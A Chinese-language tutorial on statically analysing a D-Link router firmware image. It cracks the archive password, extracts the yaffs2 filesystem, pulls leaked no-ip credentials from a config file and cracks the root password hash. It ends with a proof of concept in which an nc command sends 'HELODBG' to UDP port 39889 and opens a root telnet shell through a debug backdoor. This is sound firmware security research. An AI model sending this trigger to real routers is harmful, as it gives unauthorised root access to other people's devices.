静态分析IOT固件（二）

给了个从Dlink固件里提取的样本，打开发现被加密了，得爆破。

kali自带了一些关于压缩文件的工具，比如生成字典用的crunch、rsmangler，爆破用的frackzip等，这些工具用法都不难。

直接用frackzip破解，（根据教程的提示）得到密码beUT9Z

输入密码解压后得到一下文件

其中发现有多个.yaffs2后缀的文件，这些都是固件的文件。

注：

.mbn：高通的一套用于加载网络环境的文件（modem software configuration）
.yaffs2：针对NAND芯片设计的嵌入式文件系统，可用unyaffs提取

yaffs2里有几个看上去是recovery的镜像，核心的应该是2K-mdm-image-mdm9625.yaffs2 ，我们下面就来提取该文件，我首先用binwalk来提取它，但提取出来的文件乱七八糟，不知道什么原因，后来看网上推荐直接用yaffs的原生工具unyaffs提取，就可以了，文件系统清晰明了。

unyaffs 2K-mdm-image-mdm9625.yaffs2 yaffs2-root/

接下来我们查找该路径下的所有.conf文件，.conf文件多是配置文件，有可能从中可以发现敏感的信息。

find . -name '*.conf'

其中的inadyn-mt.conf文件引起了我们注意，这是no-ip应用的配置文件，no-ip就是一个相当于花生壳的东西，可以申请动态域名。我们从中可以发现泄露的no-ip的登陆账号及密码。

cat etc/inadyn-mt.conf

除了上述泄露的no-ip账号密码，我们还从shadow文件中找到了root账号的密码，通过爆破可以得到root的密码为1234。

cat ~/yaffs2-root/etc/shadow

其实并不止有.conf文件会泄露信息，还有很多其他后缀的敏感文件会泄露信息，我们接下来使用firmwalker工具来自动化遍历该固件系统中的所有可疑文件。

命令如下，firmwalker会将结果保存到firmwalker.txt。

./firmwalker.sh ~/yaffs2-root/

firmwalker工具主要功能就是遍历各种后缀的文件，后缀数据都存在data文件夹中的各个配置文件中。

分析完敏感的配置文件后，我们接下来分析存在风险的二进制程序。查看自启动的程序，一个start_appmgr脚本引起了我们注意，mgr一般就是主控程序的意思。

该脚本会在开机的时候以服务的形式运行/bin.appmgr程序。

通过IDA进行反编译，在main函数中发现了一个管理员当时为了方便调试留下的后门，只要连接该固件的39889端口并发送HELODBG的字符串，就可以进行远程执行命令。

POC如下：

user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889 
Hello 
^C 
user@kali:~$ telnet 192.168.1.1 
Trying 192.168.1.1... 
Connected to 192.168.1.1. Escape character is '^]'.   
OpenEmbedded Linux homerouter.cpe     
msm 20141210 homerouter.cpe   
/ # 
id uid=0(root) gid=0(root) 
/ # 
exit 
Connection closed by foreign host. 
user@kali:~$